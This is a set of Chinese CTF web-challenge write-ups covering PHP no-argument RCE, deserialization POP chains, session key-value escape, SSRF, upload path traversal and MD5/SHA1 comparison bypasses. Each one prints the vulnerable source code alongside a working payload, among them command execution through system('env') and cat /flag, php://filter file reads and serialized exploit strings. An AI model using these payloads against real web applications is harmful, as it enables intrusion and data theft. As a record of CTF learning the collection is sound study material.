[ISCTF2025]ezrce 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );if (isset ($_GET ['code' ])){ $code = $_GET ['code' ]; if (preg_match ('/^[A-Za-z\(\)_;]+$/' , $code )) { eval ($code ); }else { die ('师傅,你想拿flag?' ); } }
代码审计
1 2 3 if (preg_match ('/^[A-Za-z\(\)_;]+$/' , $code )) { eval ($code ); }
正则表达式/^[A-Za-z()_;]+$/只能有字母和括号 所以是无参rce
payload
1 ?code=highlight_file(array_rand(array_flip(scandir(dirname (chdir (dirname (dirname (dirname (getcwd())))))))));
ISCTF{468c3b15-c2c8-4df7-bbcd-faffe34dcbc5}
[LitCTF 2023]Vim yyds 在虚拟机里进行终端扫描目录dirsearch -u http://node4.anna.nssctf.cn:28656/ -e all
然后访问/.index.php.swp下载了一个文件,将这个文件复制到虚拟机里面
执行vim -r index.php.swp查看文件内容找到php代码
然后这边就是一开始一直复制不出来太气人了,问了学长说vim进入编辑后要按键盘的Esc,输入::w 1.php(文件名) 就可以保存到这个文件中
1 2 3 4 5 6 7 8 9 <?php error_reporting (0 ); $password = "Give_Me_Your_Flag" ; echo "<p>can can need Vim </p>" ; if ($_POST ['password' ] === base64_encode ($password )) { echo "<p>Oh You got my password!</p>" ; eval (system ($_POST ['cmd' ])); }?>
代码审计
1 if ($_POST ['password' ] === base64_encode ($password ))
POST传参password=Give_Me_Your_Flag(base64后的)
1 eval (system ($_POST ['cmd' ]));
将参数cmd的值作为system()函数的参数执行,所以cmd的值就是命令
最终payload
1 password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd =cat /flag
[UUCTF 2022 新生赛]websign 额这道题就是根据题目查看源码但发现键盘输入不能用(一开始我以为我键盘坏了。。
然后就其实先想到的是看index.php,config.php这些但也没用
就想用bp抓包看一下,结果直接出了额有点。。
[玄武杯 2025]ez_include 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php stream_wrapper_unregister ('php' );if (!isset ($_GET ['no_hl' ])) highlight_file (__FILE__ );$mkdir = function ($dir ) { system ('mkdir -- ' .escapeshellarg ($dir )); };$randFolder = bin2hex (random_bytes (16 ));$mkdir ('users/' .$randFolder ); chdir ('users/' .$randFolder );$userFolder = (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ]) ? $_SERVER ['HTTP_X_FORWARDED_FOR' ] : $_SERVER ['REMOTE_ADDR' ]);$userFolder = basename (str_replace (['.' ,'-' ],['' ,'' ],$userFolder ));$mkdir ($userFolder );chdir ($userFolder );file_put_contents ('profile' ,print_r ($_SERVER ,true ));chdir ('..' );$_GET ['page' ]=str_replace ('.' ,'' ,$_GET ['page' ]); if (!stripos (file_get_contents ($_GET ['page' ]),'<?' ) && !stripos (file_get_contents ($_GET ['page' ]),'php' )) { include ($_GET ['page' ]); }chdir (__DIR__ );system ('rm -rf users/' .$randFolder );?>
代码审计
1 2 3 4 5 if (!isset ($_GET ['no_hl' ])) highlight_file (__FILE__ );$mkdir = function ($dir ) { system ('mkdir -- ' .escapeshellarg ($dir )); };
如果参数中存在no_hl则不会显示源码,带参数时执行后续逻辑
$mkdir:匿名函数
这是非预期解
之间传入/flag就得到了
[SWPUCTF 2021 新生赛]ez_unserialize 一开始看不到题目,先查看源码
看到了disallow,就想到了爬虫协议
看到了可以访问的,就访问看到题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php error_reporting (0 );show_source ("cl45s.php" );class wllm { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; } public function __destruct ( ) { if ($this ->admin === "admin" && $this ->passwd === "ctf" ){ include ("flag.php" ); echo $flag ; }else { echo $this ->admin; echo $this ->passwd; echo "Just a bit more!" ; } } }$p = $_GET ['p' ];unserialize ($p );?> if ($this ->admin === "admin" && $this ->passwd === "ctf" ){ include ("flag.php" );
当admin=admin,passwd=ctf的时候可以看到flag
构造exp
1 2 3 4 5 6 7 8 9 10 11 12 <?php class wllm { public $admin ; public $passwd ; }$a = new wllm ();$a -> admin = 'admin' ;$a -> passwd = 'ctf' ;echo (serialize ($a ));?>
payload
1 O :4 :"wllm" :2 :{s:5 :"admin" ;s:5 :"admin" ;s:6 :"passwd" ;s:3 :"ctf" ;}
[GHCTF 2024 新生赛]ezzz_unserialize(原生类) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 <?php error_reporting (0 );class Sakura { public $apple ; public $strawberry ; public function __construct ($a ) { $this -> apple = $a ; } function __destruct ( ) { echo $this -> apple; } public function __toString ( ) { $new = $this -> strawberry; return $new (); } }class NoNo { private $peach ; public function __construct ($string ) { $this -> peach = $string ; } public function __get ($name ) { $var = $this -> $name ; $var [$name ](); } }class BasaraKing { public $orange ; public $cherry ; public $arg1 ; public function __call ($arg1 ,$arg2 ) { $function = $this -> orange; return $function (); } public function __get ($arg1 ) { $this -> cherry -> ll2 ('b2' ); } }class UkyoTachibana { public $banana ; public $mangosteen ; public function __toString ( ) { $long = @$this -> banana -> add (); return $long ; } public function __set ($arg1 ,$arg2 ) { if ($this -> mangosteen -> tt2) { echo "Sakura was the best!!!" ; } } }class E { public $e ; public function __get ($arg1 ) { array_walk ($this , function ($Monday , $Tuesday ) { $Wednesday = new $Tuesday ($Monday ); foreach ($Wednesday as $Thursday ){ echo ($Thursday .'<br>' ); } }); } }class UesugiErii { protected $coconut ; protected function addMe ( ) { return "My time with Sakura was my happiest time" .$this -> coconut; } public function __call ($func , $args ) { call_user_func ([$this , $func ."Me" ], $args ); } }class Heraclqs { public $grape ; public $blueberry ; public function __invoke ( ) { if (md5 (md5 ($this -> blueberry)) == 123 ) { return $this -> grape -> hey; } } }class MaiSakatoku { public $Carambola ; private $Kiwifruit ; public function __set ($name , $value ) { $this -> $name = $value ; if ($this -> Kiwifruit = "Sakura" ){ strtolower ($this -> Carambola); } } }if (isset ($_POST ['GHCTF' ])) { unserialize ($_POST ['GHCTF' ]); } else { highlight_file (__FILE__ ); }
代码审计
1 2 3 4 5 6 7 8 9 10 class Sakura { public $apple ; public $strawberry ; public function __construct ($a ) { $this ->apple = $a ; } function __destruct ( ) { echo $this ->apple; } public function __toString ( ) { $new = $this ->strawberry; return $new (); } }
__toString():如果apple是其他类(如UkyoTachibana、Heraclqs)的对象,echo会触发该对象的__toString方法
__toString()中执行$new()如果$this->strawberry是其他类的对象,则触发Heraclqs类中的__invoke魔术方法
1 2 3 4 5 6 7 8 9 class Heraclqs { public $grape ; public $blueberry ; public function __invoke ( ) { if (md5 (md5 ($this ->blueberry)) == 123 ) { return $this ->grape->hey; } } }
__invoke:对象被当作函数调用时触发,md5(md5($this->blueberry)) == 123有一个md5哈希值弱比较,需要找到一个$blueberry满足该哈希条件
1 2 3 4 5 6 7 8 9 10 11 class E { public $e ; public function __get ($arg1 ) { array_walk ($this , function ($Monday , $Tuesday ) { $Wednesday = new $Tuesday ($Monday ); foreach ($Wednesday as $Thursday ){ echo ($Thursday .'<br>' ); } }); } }
array_walk():遍历当前类的所有属性
function ($Monday, $Tuesday):$Monday为属性值,$Tuesday为属性名
$Wednesday = new $Tuesday($Monday); :把$Tuesday类实例化为$Wednesday,$Monday作为传入的参数
foreach($Wednesday as $Thursday):foreach为遍历循环,把遍历的当前元素值赋给$Thursday,echo将值打印出来,再遍历下一个
new $Tuesday($Monday):动态实例化类,若$Tuesday和$Monday可控,可实现实例化恶意类
构造链子的思路:
看到E类,运用原生类遍历循环,要触发get魔术方法,调用不存在的属性
找到Heraclqs类中存在不存在的属性hey,调用它需要触发魔术方法__invoke,将参数作为函数,还存在一个MD5弱比较
找到Sakura类,return $new()将参数作为函数
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php class Sakura { public $apple ; public $strawberry ; }class NoNo { private $peach ; }class BasaraKing { public $orange ; public $cherry ; public $arg1 ; }class UkyoTachibana { public $banana ; public $mangosteen ; }class E { public $e ; }class UesugiErii { protected $coconut ; }class Heraclqs { public $grape ; public $blueberry ; }class MaiSakatoku { public $Carambola ; private $Kiwifruit ; }$E = new E ();$E ->DirectoryIterator = '/' ;$Heraclqs = new Heraclqs ();$Heraclqs -> blueberry = "LLh" ;$Heraclqs -> grape= $E ;$Sakura = new Sakura ();$Sakura -> apple = $Sakura ;$Sakura -> strawberry = $Heraclqs ;echo serialize ($Sakura );?>
DirectoryIterator:用于查看文件目录
payload
1 O :6 :"Sakura" :2 :{s:5 :"apple" ;r:1 ;s:10 :"strawberry" ;O:8 :"Heraclqs" :2 :{s:5 :"grape" ;O:1 :"E" :2 :{s:1 :"e" ;N;s:17 :"DirectoryIterator" ;s:1 :"/" ;}s:9 :"blueberry" ;s:3 :"LLh" ;}}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class Sakura { public $apple ; public $strawberry ; }class E { public $e ; }class Heraclqs { public $grape ; public $blueberry ; }$E = new E ();$E ->SplFileObject = '/flag' ;$Heraclqs = new Heraclqs ();$Heraclqs -> blueberry = "LLh" ;$Heraclqs -> grape= $E ;$Sakura = new Sakura ();$Sakura -> apple = $Sakura ;$Sakura -> strawberry = $Heraclqs ;echo serialize ($Sakura );
SplFileObject:用于读文件
1 O :6 :"Sakura" :2 :{s:5 :"apple" ;r:1 ;s:10 :"strawberry" ;O:8 :"Heraclqs" :2 :{s:5 :"grape" ;O:1 :"E" :2 :{s:1 :"e" ;N;s:13 :"SplFileObject" ;s:5 :"/flag" ;}s:9 :"blueberry" ;s:3 :"LLh" ;}}
[NISACTF 2022]babyupload 查看源码得到路径/source
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from flask import Flask, request, redirect, g, send_from_directoryimport sqlite3import osimport uuid app = Flask(__name__) SCHEMA = """CREATE TABLE files ( id text primary key, path text ); """ def db (): g_db = getattr (g, '_database' , None ) if g_db is None : g_db = g._database = sqlite3.connect("database.db" ) return g_db@app.before_first_request def setup (): os.remove("database.db" ) cur = db().cursor() cur.executescript(SCHEMA)@app.route('/' ) def hello_world (): return """<!DOCTYPE html> <html> <body> <form action="/upload" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="file"> <input type="submit" value="Upload File" name="submit"> </form> <!-- /source --> </body> </html>""" @app.route('/source' ) def source (): return send_from_directory(directory="/var/www/html/" , path="www.zip" , as_attachment=True )@app.route('/upload' , methods=['POST' ] ) def upload (): if 'file' not in request.files: return redirect('/' ) file = request.files['file' ] if "." in file.filename: return "Bad filename!" , 403 conn = db() cur = conn.cursor() uid = uuid.uuid4().hex try : cur.execute("insert into files (id, path) values (?, ?)" , (uid, file.filename,)) except sqlite3.IntegrityError: return "Duplicate file" conn.commit() file.save('uploads/' + file.filename) return redirect('/file/' + uid)@app.route('/file/<id>' ) def file (id ): conn = db() cur = conn.cursor() cur.execute("select path from files where id=?" , (id ,)) res = cur.fetchone() if res is None : return "File not found" , 404 with open (os.path.join("uploads/" , res[0 ]), "r" ) as f: return f.read()if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 )
文件名中.被过滤了
看到def upload和def file里的内容,看到上传的文件的不能有后缀名, 且文件名前会拼接一个前缀upload/,使得输出的文件只能是在目录upload/下的
涉及到os.path.join()的绝对路径拼接漏洞
将文件名改为/flag绕过,内容为一句话木马,得到路径
[MoeCTF 2021]unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php class entrance { public $start ;function __construct ($start ) { $this ->start = $start ; }function __destruct ( ) { $this ->start->helloworld (); } }class springboard { public $middle ; function __call ($name , $arguments ) { echo $this ->middle->hs; } }class evil { public $end ; function __construct ($end ) { $this ->end = $end ; } function __get ($Attribute ) { eval ($this ->end); } }if (isset ($_GET ['serialize' ])) { unserialize ($_GET ['serialize' ]); } else { highlight_file (__FILE__ ); }
代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class evil { public $end ; function __construct ($end ) { $this ->end = $end ; } function __get ($Attribute ) { eval ($this ->end); } }
看到eval函数找到了利用点可以将end属性的值作为php代码执行
执行这句代码需要调用__get魔术方法,调用的成员属性不存在,需调用springboard类的middle属性,它调用了不存在的属性hs
__call需调用一个不存在的方法,通过entrance类中不存在的helloworld()魔术方法
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class entrance { public $start ; }class springboard { public $middle ; }class evil { public $end ; }$a = new evil ();$a ->end = "system('env');" ;$b = new springboard ();$b ->middle = $a ;$c = new entrance ();$c ->start = $b ;echo serialize ($c );
[安洵杯 2019]easy_serialize_php(字符串逃逸) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); }if ($_SESSION ){ unset ($_SESSION ); }$_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; }if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); }$serialize_info = filter (serialize ($_SESSION ));if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
代码审计
将f的参数改为phpinfo,看到配置信息
类似于flag文件名
filter函数被是对serialize($_SESSION)进行过滤,滤掉一些关键字
unset函数将$_SESSION销毁,然后重新赋予$_SESSION新的值
最后调用extract($_POST)
extract()函数从数组中将变量导入到当前的符号表
根据extract可以进行变量覆盖
当我们传入SESSION[flag]=123时,$SESSION[“user”]和$SESSION[“function”]会全部消失,只留SESSION[flag]=123
f参数要传为show_image,其次可控点是img_path下的img,但是不能直接传因为会进行一系列加密
extract()变量覆盖
1 2 3 4 5 6 7 8 if ($_SESSION ){ unset ($_SESSION ); }$_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );
销毁$_SESSION变量–>给$_SESSION变量赋值–>extract()变量覆盖
1 2 3 4 5 6 7 8 9 10 11 extract ($_POST );if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; }if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); }
$_SESSION[‘img’]赋值是在extract()变量覆盖的后面执行的
键值逃逸
在php中,反序列化的过程必须严格按照序列化规则才能成功实现反序列化
结束符:;}
在str结尾的花括号后增加一些字符不会影响反序列化正常进行
1 2 3 4 <?php $str ='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc' ;var_dump (unserialize ($str ));?>
仍然可输出上面的结果,说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行
1 2 3 4 5 6 <?php $_SESSION ["user" ]='flagflagflagflagflagflag' ;$_SESSION ["function" ]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}' ;$_SESSION ["img" ]='L2QwZzNfZmxsbGxsbGFn' ;echo serialize ($_SESSION );?>
a:3:{s:4:”user”;s:24:”flagflagflagflagflagflag”;s:8:”function”;s:59:”a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}
假设后台存在一个过滤机制,会将含flag字符替换为空
第二个s所对应的数字,本来由于6个flag字符所以为24,但现在这6个flag被过滤,那么他将会尝试向后读取24个字符看看是否满足序列化的规则,即读取;s:8:”function”;s:59:”a了,读取这24个字符后以”;结尾,恰好满足规则,第3个s向后读取img的20个字符,第4、5个s向后读取均满足规则,所以序列化结果为
1 2 3 4 5 array(3) { ["user"]=> string(24) "";s:8:"function";s:59:"a" ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" ["dd"]=> string(1) "a" }
数组形式为
1 2 3 $_SESSION["user"]='";s:8:"function";s:59:"a'; $_SESSION["img"]='ZDBnM19mMWFnLnBocA=='; $_SESSION["dd"]='a';
SESSION数组的键值img对应的值发生了改变
他本来想读取的base64编码是:L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,向后读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码,读取了d0g3_f1ag.php的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了,不影响正常的反序列化过程。
逃逸实现
get传参:?f=show_image
post调用extract函数实现变量覆盖
三种传参方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php #方法一 $_SESSION['flagflag']='";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; #结果 a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";},这里就造成img不成为一个键,也就无法进行加密 #过滤掉flag有 #a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";} #使得绕过;s:51:""到达下一个封号,这时img成功逃逸出来 #方法二 $_SESSION['flagphp']=';s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; #方法三 $_SESSION['flagflag']='";s:2:"aa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; ?>
payload
_SESSION[phpflag]=;s:1:”1”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}
对于这个payload首先构造img属性
s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;
ZDBnM19mMWFnLnBocA==是d0g3_f1ag.php的base64加密的结果
然后在这个属性前面任意加一个序列化字符串(只要是合法的就可以)如:
;s:1:”1”
;s:2”10”;
;s:3:”100”;
[江苏省第七届网络空间知识技能大赛决赛]Web1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );error_reporting (0 );class date { public $a ; public $b ; public $file ; public function __wakeup ( ) { if (is_array ($this ->a)||is_array ($this ->b)){ die ("no array" ); } if (($this ->a!=$this ->b) && (md5 ($this ->a)===md5 ($this ->b) && sha1 ($this ->a)===sha1 ($this ->b))){ $content = date ($this ->file); $uuid = uniqid ().'.txt' ; file_put_contents ($uuid ,$content ); $data = preg_replace (('/((\s)*(\n))+(\s)*/i' ),'' ,file_get_contents ($uuid )); echo file_get_contents ($data ); } else { die (); } } }unserialize (base64_decode ($_GET ['code' ]));?>
代码审计
1 2 if (is_array ($this ->a)||is_array ($this ->b)){ die ("no array" );
如果属性a,b是数组,则回显no array
校验条件
1 if (($this ->a!=$this ->b) && (md5 ($this ->a)===md5 ($this ->b) && sha1 ($this ->a)===sha1 ($this ->b)))
$this->a!=$this->b:弱比较,只比较值不比较类型
md5($this->a)===md5($this->b) && sha1($this->a)===sha1($this->b):强比较,要求哈希值的字符串内容和类型完全一致
判断要求满足属性a,b的值不相等,到那时md5和哈希值完全相等
这里绕过md5和哈希值强比较一般有几种方法(还有其他方法记在笔记里了)
数组绕过(但这边禁用数组)
用Error、Exception原生类绕过
临时文件生成逻辑
1 2 3 $content = date ($this ->file); $uuid = uniqid ().'.txt' ; file_put_contents ($uuid ,$content );
$content = date($this->file):将file属性值通过date函数将其日志格式化
uniqid():返回随机生成的字符串作为文件名
.:用来拼接,将之前随机生成的字符串与.txt拼接
file_put_contents($uuid,$content):将$content作为文件内容写入$uuid文件中,可能存在文件包含漏洞
构造思路
用Error原生类绕过md5和哈希值的强比较
给file赋值,绕过date格式化,可以通过\转义符绕过
构造链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class date { public $a ; public $b ; public $file ; }$a = new Error ("123" ,"1" );$b = new Error ("123" ,"2" );$s = new date ();$s ->a = $a ;$s ->b = $b ;$s -> file='/f\l\a\g' ;echo base64_encode (serialize ($s ));?>
1 Tzo0OiJkYXRlIjozOntzOjE6ImEiO086NToiRXJyb3IiOjc6e3M6MTA6IgAqAG1lc3NhZ2UiO3M6MzoiMTIzIjtzOjEzOiIARXJyb3IAc3RyaW5nIjtzOjA6IiI7czo3OiIAKgBjb2RlIjtpOjE7czo3OiIAKgBmaWxlIjtzOjIxOiJEOlxQSFDku6PnoIFcd 2ViMS5waHAiO3M6NzoiACoAbGluZSI7aToxMDtzOjEyOiIARXJyb3IAdHJhY2UiO2E6MDp7fXM6MTU6IgBFcnJvcgBwcmV2aW91cyI7Tjt9czoxOiJiIjtPOjU6IkVycm9yIjo3OntzOjEwOiIAKgBtZXNzYWdlIjtzOjM6IjEyMyI7czoxMzoiAEVycm9yAHN0cmluZyI7czowOiIiO3M6NzoiACoAY29kZSI7aToyO3M6NzoiACoAZmlsZSI7czoyMToiRDpcUEhQ5Luj56CBXHdlYjEucGhwIjtzOjc6IgAqAGxpbmUiO2k6MTA7czoxMjoiAEVycm9yAHRyYWNlIjthOjA6e31zOjE1OiIARXJyb3IAcHJldmlvdXMiO047fXM6NDoiZmlsZSI7czo4OiIvZlxsXGFcZyI7fQ
flag{0fc2bcb6-fe12-4ceb-ae5c-77c695a47bdd}
[NSSCTF 2022 Spring Recruit]ezgame 额源码泄露,f12里面查看直接找到了
[SWPUCTF 2021 新生赛]include
get传参了一个file
看到存在文件包含漏洞,利用filter伪协议
[SWPUCTF 2023 秋季新生赛]Pingpingping get传参但看到参数名Ping_ip.exe,里面有下划线和点,是非法参数,先要绕过,将它改成 Ping[ip.exe ,然后执行ping命令用管道分隔符执行其他命令
[NSSCTF 2022 Spring Recruit]babyphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );include_once ('flag.php' );if (isset ($_POST ['a' ])&&!preg_match ('/[0-9]/' ,$_POST ['a' ])&&intval ($_POST ['a' ])){ if (isset ($_POST ['b1' ])&&$_POST ['b2' ]){ if ($_POST ['b1' ]!=$_POST ['b2' ]&&md5 ($_POST ['b1' ])===md5 ($_POST ['b2' ])){ if ($_POST ['c1' ]!=$_POST ['c2' ]&&is_string ($_POST ['c1' ])&&is_string ($_POST ['c2' ])&&md5 ($_POST ['c1' ])==md5 ($_POST ['c2' ])){ echo $flag ; }else { echo "yee" ; } }else { echo "nop" ; } }else { echo "go on" ; } }else { echo "let's get some php" ; }?>
代码审计
参数a:不包含0~9,值为整数
b1,b2:值不相等但md5值相等
c1,c2:值不相等但md5值相等的字符串
利用数组绕过
payload
1 a []=123 &b1[]=1 &b2[]=2 &c1=QNKCDZO&c2=240610708
//[GDOUCTF 2023]泄露的伪装
payload
1 ?c xk=data: //text/plain ,ctrl
[HNCTF 2022 Week1]2048 分析js代码,看到alert,将内容输入到控制台回车,会有弹窗显示flag
[NISACTF 2022]easyssrf
尝试file:///etc/passwd,file伪协议不能用
尝试http协议访问本地
得到提示尝试用file读取/fl4g
file:///fl4g
访问ha1x1ux1u.php
源码
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );error_reporting (0 );$file = $_GET ["file" ];if (stristr ($file , "file" )){ die ("你败了." ); }echo file_get_contents ($file );
看到get传参,提示flag在/flag中,就想到用伪协议读一下
1 ?file =php://filter /read =convert .base64-encode/resource=/flag
base64解码
[HNCTF 2022 WEEK2]ez_ssrf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );error_reporting (0 );$data =base64_decode ($_GET ['data' ]);$host =$_GET ['host' ];$port =$_GET ['port' ];$fp =fsockopen ($host ,intval ($port ),$error ,$errstr ,30 );if (!$fp ) { die (); }else { fwrite ($fp ,$data ); while (!feof ($data )) { echo fgets ($fp ,128 ); } fclose ($fp ); }
fsockopen($host,intval($port),$error,$errstr,30)触发SSRF
fsockopen()函数建立与指定主机和端口的socket连接,然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。
网上的wp说利用poc构建脚本,poc就是测试验证的意思,不是很理解不知怎么搜
1 2 3 4 5 6 <?php $out = "GET /flag.php HTTP/1.1\r\n" ;$out .= "Host: 127.0.0.1\r\n" ;$out .= "Connection: Close\r\n\r\n" ;echo base64_encode ($out );?>
构造url
1 2 3 GET /flag.php HTTP/1.1 Host : 127.0.0.1Connection : Close
进行base64编码然后传参
[NSSRound#28 Team]ez_ssrf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php highlight_file (__FILE__ );if (isset ($_GET ['url' ])) { $url = $_GET ['url' ]; if (strpos ($url , 'http://' ) !== 0 ) { echo json_encode (["error" => "Only http:// URLs are allowed" ]); exit ; } $host = parse_url ($url , PHP_URL_HOST); $ip = gethostbyname ($host ); $forbidden_ips = ['127.0.0.1' , '::1' ]; if (in_array ($ip , $forbidden_ips )) { echo json_encode (["error" => "Access to localhost or 127.0.0.1 is forbidden" ]); exit ; } $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true ); $response = curl_exec ($ch ); if (curl_errno ($ch )) { echo json_encode (["error" => curl_error ($ch )]); } else { echo $response ; } curl_close ($ch ); } else { echo json_encode (["error" => "Please provide a 'url' parameter" ]); }?>
看到报错提示只能用http并且127.0.0.1和localhost被禁用
用0.0.0.0替换
1 ?u rl=http: //0.0.0.0/flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 from flask import Flask, requestimport socketimport hashlibimport urllibimport sysimport osimport json reload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secret_key = os.urandom(16 )class Task : def __init__ (self, action, param, sign, ip ): self .action = action self .param = param self .sign = sign self .sandbox = md5(ip) if not os.path.exists(self .sandbox): os.mkdir(self .sandbox) def Exec (self ): result = {} result['code' ] = 500 if self .checkSign(): if "scan" in self .action: tmpfile = open ("./%s/result.txt" % self .sandbox, 'w' ) resp = scan(self .param) if resp == "Connection Timeout" : result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self .action: f = open ("./%s/result.txt" % self .sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if getSign(self .action, self .param) == self .sign: return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)@app.route('/De1ta' , methods=['GET' , 'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if waf(param): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec())@app.route('/' ) def index (): return open ("code.txt" , "r" ).read()def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secret_key + param + action).hexdigest()def md5 (content ): return hashlib.md5(content).hexdigest()def waf (param ): check = param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' , port=80 )
解题思路
先要绕过self.checkSign(),并且传入的action包含scan和read,然后执行if “scan” in self.action将/flag,txt写入result.txt,并且放在 result[‘data’] 中 , return json.dumps(task.Exec()) 接着返回以json的形式返回到客户端。
